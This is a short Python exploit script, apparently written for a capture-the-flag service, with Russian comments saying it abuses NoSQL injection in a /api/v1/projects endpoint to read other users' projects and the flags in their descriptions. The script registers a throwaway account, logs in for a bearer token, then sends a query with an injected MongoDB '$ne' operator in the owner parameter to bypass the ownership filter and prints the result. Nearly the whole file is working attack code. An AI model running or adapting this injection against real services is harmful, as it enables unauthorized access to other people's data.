55 lines
1.4 KiB
Python
55 lines
1.4 KiB
Python
# Эксплойт основан на NoSQL инъекции в эндпоинте /api/v1/projects,
|
||
#
|
||
# Он позволяет получить данные о чужих проектах, включая описание,
|
||
# которое содержит флаги.
|
||
|
||
import sys
|
||
import uuid
|
||
|
||
import requests
|
||
|
||
HOST = sys.argv[1]
|
||
PORT = 3000
|
||
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
||
|
||
|
||
def make_id(prefix):
|
||
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
||
|
||
|
||
def main():
|
||
session = requests.Session()
|
||
|
||
username = make_id("user")
|
||
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
||
|
||
print(f"[*] Registering user {username}")
|
||
response = session.post(
|
||
f"{BASE_URL}/users",
|
||
json={"username": username, "password": password},
|
||
)
|
||
response.raise_for_status()
|
||
|
||
print("[*] Logging in")
|
||
response = session.post(
|
||
f"{BASE_URL}/auth/login",
|
||
data={"username": username, "password": password},
|
||
)
|
||
response.raise_for_status()
|
||
|
||
login_response = response.json()
|
||
token = login_response.get("auth_token")
|
||
if not token:
|
||
raise RuntimeError("Login response missing auth_token field")
|
||
headers = {"Authorization": f"Bearer {token}"}
|
||
|
||
projects_response = session.get(
|
||
f"{BASE_URL}/projects?owner[$ne]={'a' * 24}",
|
||
headers=headers,
|
||
)
|
||
print(projects_response.text)
|
||
|
||
|
||
if __name__ == "__main__":
|
||
main()
|